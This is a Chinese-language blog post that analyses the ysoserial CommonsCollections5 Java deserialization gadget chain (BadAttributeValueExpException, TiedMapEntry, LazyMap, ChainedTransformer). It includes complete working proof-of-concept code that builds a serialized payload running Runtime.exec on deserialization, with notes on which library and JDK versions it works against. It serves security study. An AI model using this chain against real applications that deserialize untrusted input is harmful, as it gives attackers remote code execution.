天天看點

ysoserial CommonsColletions5分析

我們知道,AnnotationInvocationHandler類在JDK8u71版本以後,官方對

readobject

進行了改寫。

是以要挖掘出一條能替代的類BadAttributeValueExpException

在CC5中除了有一個新的類BadAttributeValueExpException外,還有一個新的類TiedMapEntry,用來調用LazyMap的get方法

TiedMapEntry

在TiedMapEntry的getValue方法中調用了get方法

ysoserial CommonsColletions5分析

而map成員變量則是由構造函數傳入

這裡傳入this.map=LazyMap後,調用getValue方法就可以觸發調用鍊了。

而getValue方法是在toString中調用了。

ysoserial CommonsColletions5分析

BadAttributeValueExpException

直接檢視readObject方法

ysoserial CommonsColletions5分析

第72行是擷取val的值,指派給valObj,在第86行時候,調用了valObj的toString方法

也就是調用TiedMapEntry的toString。

BadAttributeValueExpException、TiedMapEntry、LazyMap三條鍊互相調用

ysoserial CommonsColletions5分析

構造POC

前面和CC1一樣,利用LazyMap來觸發ChainedTransformer反射鍊

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//建立一個HashMap
HashMap hashMap = new HashMap();
//傳入chain
LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);
           

TiedMapEntry成員變量this.map利用構造方法指派成LazyMap

TiedMapEntry entry = new TiedMapEntry(lazymap, "xxx");
           

BadAttributeValueExpException的val參數需要利用反射進行set值

BadAttributeValueExpException bad = new BadAttributeValueExpException(null); //參數無所謂
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad,entry);
           

最終POC:

public class payload01 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        //建立一個HashMap
        HashMap hashMap = new HashMap();
        //傳入chain
        LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);

        TiedMapEntry entry = new TiedMapEntry(lazymap, "xxx");

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null); //參數無所謂
        Field val = bad.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(bad,entry);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(bad);
        oos.close();

        System.out.println(barr);
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}
           

我發現此payload隻适用于CommonsCollections版本3.1-3.2.1,因為在4.0版本中,LazyMap取消了decorate方法構造對象,而是用的靜态方法lazymap,是以要改動一下傳入參數的方式就可以了

ysoserial CommonsColletions5分析

cc5在JDK1.7和1.8版本都測試可以使用